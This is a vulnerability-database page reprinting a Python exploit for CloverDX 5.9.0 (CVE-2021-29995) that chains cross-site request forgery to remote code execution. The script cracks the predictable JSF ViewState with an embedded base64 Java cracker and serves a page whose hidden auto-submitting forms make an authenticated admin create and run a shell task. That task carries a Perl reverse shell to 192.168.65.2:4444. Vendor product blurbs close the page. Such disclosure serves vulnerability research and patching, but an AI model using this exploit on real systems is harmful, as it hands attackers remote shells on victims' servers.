| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CloverDX 5.9.0 - Cross-Site Request Forgery to Remote Code Execution Exploit | 29 Jul 202100:00 | – | zdt | |
| CVE-2021-29995 | 21 Sep 202104:42 | – | circl | |
| CloverDX Server Console 跨站请求伪造漏洞 | 9 Jun 202100:00 | – | cnnvd | |
| CVE-2021-29995 | 9 Jun 202114:23 | – | cve | |
| CVE-2021-29995 | 9 Jun 202114:23 | – | cvelist | |
| EUVD-2021-16454 | 7 Oct 202500:30 | – | euvd | |
| CVE-2021-29995 | 9 Jun 202115:15 | – | nvd | |
| CVE-2021-29995 | 9 Jun 202115:15 | – | osv | |
| CloverDX 5.9.0 Code Execution / Cross Site Request Forgery | 29 Jul 202100:00 | – | packetstorm | |
| Cross site request forgery (csrf) | 9 Jun 202115:15 | – | prion |
# Exploit Title: CloverDX 5.9.0 - Cross-Site Request Forgery (CSRF) to Remote Code Execution (RCE)
# Date: 14.04.2021
# Exploit Author: niebardzo
# Vendor Homepage: https://www.cloverdx.com/
# Software Link: https://github.com/cloverdx/cloverdx-server-docker
# Version: 5.9.0, 5.8.1, 5.8.0, 5.7.0, 5.6.x, 5.5.x, 5.4.x
# Tested on: Docker image - https://github.com/cloverdx/cloverdx-server-docker
# CVE : CVE-2021-29995
# Replace the target, payload and port to host the exploitation server. Exploit requires, inbound connection to CloverDX
# Victim authenticated to CloverDX and the java to run the ViewStateCracker.java.
# Reference for cracking ViewState:
# https://jazzy.id.au/2010/09/20/cracking_random_number_generators_part_1.html
# https://blog.securityevaluators.com/cracking-javas-rng-for-csrf-ea9cacd231d2
#
import http.server
import socketserver
import requests
from urllib.parse import urlparse
from urllib.parse import parse_qs
from bs4 import BeautifulSoup
import subprocess
import sys
import json
class ExploitHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "text/html; charset=utf-8")
self.end_headers()
# replace with your own target
target = "http://localhost:8080"
query_comp = parse_qs(urlparse(self.path).query)
if "target" in query_comp:
target = query_comp["target"][0]
req = requests.get(target+"/clover/gui/login.jsf")
if req.status_code != 200:
sys.exit(-1)
# parse the reponse retrieve the ViewState
soup = BeautifulSoup(req.text, "html.parser")
cur_view_state = soup.find("input", {"name": "javax.faces.ViewState"})["value"]
# Use the ViewstateCracker.java to get new Viewstate.
new_view_state = subprocess.check_output(["java", "ViewstateCracker.java", cur_view_state])
new_view_state = new_view_state.decode("utf-8").strip()
print(new_view_state)
if new_view_state == "6927638971750518694:6717304323717288036":
html = ("<!DOCTYPE html><html><head></head><body><h1>Hello Clover Admin!</h1><br>"
+ "<script>window.setTimeout(function () { location.reload()}, 1500)</script></body></html>")
else:
html = ("<!DOCTYPE html><html><head>"
+ "<script>"
+ "function exec1(){document.getElementById('form1').submit(); setTimeout(exec2, 2000);}"
+ "function exec2(){document.getElementById('form2').submit(); setTimeout(exec3, 2000);}"
+ "function exec3(){document.getElementById('form3').submit(); setTimeout(exec4, 2000);}"
+ "function exec4(){document.getElementById('form4').submit();}"
+ "</script>"
+ "</head><body onload='exec1();'><h1>Hello Clover Admin! Please wait here, content is loading...</h1>"
+ "<script>history.pushState('','/');</script>"
+ "<form target='if1' id='form1' method='GET' action='{}/clover/gui/event-listeners' style='visibility: hidden;'>".format(target)
+ "<input type='submit' value='' style='visibility: hidden;'></form> "
+ "<form target='if2' id='form2' enctype='application/x-www-form-urlencoded' method='POST' action='{}/clover/gui/event-listeners' style='visibility: hidden;'>".format(target)
+ "<input type='hidden' value='true' name='javax.faces.partial.ajax'>"
+ "<input type='hidden' value='headerForm:manualListenerItem' name='javax.faces.source'>"
+ "<input type='hidden' value='@all' name='javax.faces.partial.execute'>"
+ "<input type='hidden' value='allContent' name='javax.faces.partial.render'>"
+ "<input type='hidden' value='headerForm:manualListenerItem' name='headerForm:manualListenerItem'>"
+ "<input type='hidden' value='headerForm' name='headerForm'>"
+ "<input type='hidden' value='{}' name='javax.faces.ViewState'>".format(new_view_state.replace(":",":"))
+ "<input type='submit' value='' style='visibility: hidden;'></form> "
+ "<form target='if3' id='form3' enctype='application/x-www-form-urlencoded' method='POST' action='{}/clover/gui/event-listeners' style='visibility: hidden;'>".format(target)
+ "<input type='hidden' value='true' name='javax.faces.partial.ajax'>"
+ "<input type='hidden' value='manualListeneForm:taskType' name='javax.faces.source'>"
+ "<input type='hidden' value='manualListeneForm:taskType' name='javax.faces.partial.execute'>"
+ "<input type='hidden' value='manualListeneForm:taskFormFragment' name='javax.faces.partial.render'>"
+ "<input type='hidden' value='valueChange' name='javax.faces.behavior.event'>"
+ "<input type='hidden' value='change' name='javax.faces.partial.event'>"
+ "<input type='hidden' value='manualListeneForm' name='manualListeneForm'>"
+ "<input type='hidden' value='shell_command' name='manualListeneForm:taskType_input'>"
+ "<input type='hidden' value='on' name='manualListeneForm:saveRunRecord_input'>"
+ "<input type='hidden' value='true' name='manualListeneForm:manualVariablesList_collapsed'>"
+ "<input type='hidden' value='{}' name='javax.faces.ViewState'>".format(new_view_state.replace(":",":"))
+ "<input type='submit' value='' style='visibility: hidden;'></form> "
+ "<form target='if4' id='form4' enctype='application/x-www-form-urlencoded' method='POST' action='{}/clover/gui/event-listeners' style='visibility: hidden;'>".format(target)
+ "<input type='hidden' value='true' name='javax.faces.partial.ajax'>"
+ "<input type='hidden' value='manualListeneForm:execute_button' name='javax.faces.source'>"
+ "<input type='hidden' value='@all' name='javax.faces.partial.execute'>"
+ "<input type='hidden' value='rightContent' name='javax.faces.partial.render'>"
+ "<input type='hidden' value='manualListeneForm:execute_button' name='manualListeneForm:execute_button'>"
+ "<input type='hidden' value='manualListeneForm' name='manualListeneForm'>"
+ "<input type='hidden' value='' name='manualListeneForm:properties:propertiesTable:propName'>"
+ "<input type='hidden' value='' name='manualListeneForm:properties:propertiesTable:propValue'>"
+ "<input type='hidden' value='' name='manualListeneForm:taskType_focus'>"
+ "<input type='hidden' value='shell_command' name='manualListeneForm:taskType_input'>"
#
# Below is the HTML encoded perl reverse, replace with your own payload, remember to HTML encode.
#
+ "<input type='hidden' value='perl -e 'use Socket;$i="192.168.65.2";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'' name='manualListeneForm:shellEditor'>"
+ "<input type='hidden' value='' name='manualListeneForm:workingDirectory'>"
+ "<input type='hidden' value='10000' name='manualListeneForm:timeout'>"
+ "<input type='hidden' value='true' name='manualListeneForm:scriptVariablesList_collapsed'>"
+ "<input type='hidden' value='{}' name='javax.faces.ViewState'>".format(new_view_state.replace(":",":"))
+ "<input type='submit' value='' style='visibility: hidden;'></form> "
+ "<iframe name='if1' style='display: hidden;' width='0' height='0' frameborder='0' ></iframe>"
+ "<iframe name='if2' style='display: hidden;' width='0' height='0' frameborder='0'></iframe>"
+ "<iframe name='if3' style='display: hidden;' width='0' height='0' frameborder='0'></iframe>"
+ "<iframe name='if4' style='display: hidden;' width='0' height='0' frameborder='0'></iframe>"
+ "</body></html>")
self.wfile.write(bytes(html,"utf-8"))
base64_enc_viewstatecracker = "CnB1YmxpYyBjbGFzcyBWaWV3c3RhdGVDcmFja2VyIHsKICAvKiBTVEFSVCBQQVJUIDEgKi8KICBwdWJsaWMgc3RhdGljIGZpbmFsIGludCBvZmZzZXQgICAgID0gMzI7CiAgcHVibGljIHN0YXRpYyBmaW5hbCBpbnQgaXRlcmF0aW9ucyA9IDY1NTM2OwoKICBwdWJsaWMgc3RhdGljIGZpbmFsIFN0cmluZyBnZW5lcmF0ZU5ld1ZpZXdzdGF0ZShmaW5hbCBsb25nIGlkSW5Mb2dpY2FsTWFwLCBmaW5hbCBsb25nIGlkSW5BY3R1YWxNYXApIHsKICAgIGZpbmFsIGxvbmcgZmlyc3QzMkJpdHNPZklkSW5Mb2dpY2FsTWFwICA9IGlkSW5Mb2dpY2FsTWFwID4+PiBvZmZzZXQ7CiAgICBmaW5hbCBsb25nIHNlY29uZDMyQml0c09mSWRJbkxvZ2ljYWxNYXAgPSAoKGlkSW5Mb2dpY2FsTWFwIDw8IG9mZnNldCkgPj4+IG9mZnNldCk7CiAgICBmaW5hbCBsb25nIGZpcnN0MzJCaXRzT2ZJZEluQWN0dWFsTWFwICAgPSBpZEluQWN0dWFsTWFwID4+PiBvZmZzZXQ7ICAgICAgICAgLy8gVmVyaWZpY2F0aW9uCiAgICBmaW5hbCBsb25nIHNlY29uZDMyQml0c09mSWRJbkFjdHVhbE1hcCAgPSAoKGlkSW5BY3R1YWxNYXAgPDwgb2Zmc2V0KSA+Pj4gb2Zmc2V0KTsgLy8gVmVyaWZpY2F0aW9uCiAgICAvKiBFTkQgUEFSVCAxICovCgogICAgLyogU1RBUlQgUEFSVCAyICovCiAgICBsb25nIHRoZV9zZWVkID0gMUw7CgogICAgZm9yIChpbnQgaSA9IDA7IGkgPCBpdGVyYXRpb25zOyBpKyspIHsKICAgICAgbG9uZyB0bXBfc2VlZCA9ICgoZmlyc3QzMkJpdHNPZklkSW5Mb2dpY2FsTWFwIDw8IDE2KSArIGkpOwogICAgICBpZiAoKChpbnQpKCgodG1wX3NlZWQgKiAweDVERUVDRTY2REwgKyAweEJsKSAmICgoMUwgPDwgNDgpIC0gMSkpID4+PiAxNikpID09IHNlY29uZDMyQml0c09mSWRJbkxvZ2ljYWxNYXApIHsKICAgICAgICAvL1N5c3RlbS5vdXQucHJpbnRsbigiU2VlZCBmb3VuZDogIiArIHRtcF9zZWVkKTsKICAgICAgICB0aGVfc2VlZCA9IHRtcF9zZWVkOwogICAgICAgIGJyZWFrOwogICAgICB9CiAgICB9CiAgICAvKiBFTkQgUEFSVCAyICovCgogICAgLyogU1RBUlQgUEFSVCAzICovCiAgICAvLyBHZW5lcmF0ZSBudW1iZXIgMiAoU2Vjb25kIE51bWJlciBvZiBpZEluTG9naWNhbE1hcCkKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwoKICAgIC8vQ2FsY3VsYXRlIHRoZSB2YWx1ZSBvZiBpZEluQWN0dWFsTWFwCiAgICB0aGVfc2VlZCA9ICh0aGVfc2VlZCAqIDB4NURFRUNFNjZETCArIDB4QkwpICYgKCgxTCA8PCA0OCkgLSAxKTsKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwogICAgLyogRU5EIFBBUlQgMyovCgogICAgLyogU1RBUlQgUEFSVCA0Ki8KICAgIC8qIENhbGN1bGF0ZSBhIG5ldyBpZEluTG9naWNhbE1hcCAqLwoKICAgIC8vIEdlbmVyYXRlIHRoZSBmaXJzdCBoYWxmIG9mIHRoZSBmaXJzdCBMb25nCiAgICB0aGVfc2VlZCA9ICh0aGVfc2VlZCAqIDB4NURFRUNFNjZETCArIDB4QkwpICYgKCgxTCA8PCA0OCkgLSAxKTsKICAgIGludCBudW1iZXJfNSA9ICgoaW50KSh0aGVfc2VlZCA+Pj4gMTYpKTsKCiAgICAvLyBHZW5lcmF0ZSB0aGUgc2Vjb25kIGhhbGYgb2YgdGhlIGZpcnN0IExvbmcKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwogICAgaW50IG51bWJlcl82ID0gKChpbnQpKHRoZV9zZWVkID4+PiAxNikpOwoKICAgIC8vSGVyZSBpcyB0aGUgbmV3IGlkSW5Mb2dpY2FsTWFwCiAgICBsb25nIG5ld19sb25nXzEgPSAoKChsb25nKW51bWJlcl81IDw8IDMyKSArIG51bWJlcl82KTsKCgogICAgLyogQ2FsY3VsYXRlIGEgbmV3IGlkSW5BY3R1YWxNYXAgKi8KCiAgICAvLyBHZW5lcmF0ZSB0aGUgZmlyc3QgaGFsZiBvZiB0aGUgc2Vjb25kIExvbmcKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwogICAgaW50IG51bWJlcl83ID0gKChpbnQpKHRoZV9zZWVkID4+PiAxNikpOwoKICAgIC8vIEdlbmVyYXRlIHRoZSBzZWNvbmQgaGFsZiBvZiB0aGUgc2Vjb25kIExvbmcKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwogICAgaW50IG51bWJlcl84ID0gKChpbnQpKHRoZV9zZWVkID4+PiAxNikpOwoKICAgIC8vCiAgICBsb25nIG5ld19sb25nXzIgPSAoKChsb25nKW51bWJlcl83IDw8IDMyKSArIG51bWJlcl84KTsKCiAgICByZXR1cm4gbmV3X2xvbmdfMSArICI6IiArIG5ld19sb25nXzI7CiAgICAvKkVORCBQQVJUNCovCiAgfQogcHVibGljIHN0YXRpYyB2b2lkIG1haW4gKFN0cmluZyBhcmdzW10pIHsKCVN0cmluZyB0b2tlbiA9IGFyZ3NbMF07CglTdHJpbmdbXSBsb25ncyA9IHRva2VuLnNwbGl0KCI6Iik7Cglsb25nIGxvbmcxID0gTG9uZy5wYXJzZUxvbmcobG9uZ3NbMF0pOwoJbG9uZyBsb25nMiA9IExvbmcucGFyc2VMb25nKGxvbmdzWzFdKTsKCVN0cmluZyBuZXdUb2tlbiA9IGdlbmVyYXRlTmV3Vmlld3N0YXRlKGxvbmcxLGxvbmcyKTsKCVN5c3RlbS5vdXQucHJpbnRsbihuZXdUb2tlbik7Cgp9Cgp9Cg=="
#
# This drops ViewstateCracker.java from above, ref: https://blog.securityevaluators.com/cracking-javas-rng-for-csrf-ea9cacd231d2
#
with open("ViewstateCracker.java","w") as f:
f.write(b64decode(bytes(base64_enc_viewstatecracker, 'utf-8')).decode('utf-8'))
exploit_handler = ExploitHandler
PORT = 6010
exploit_server = socketserver.TCPServer(("", PORT), exploit_handler)
exploit_server.serve_forever()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation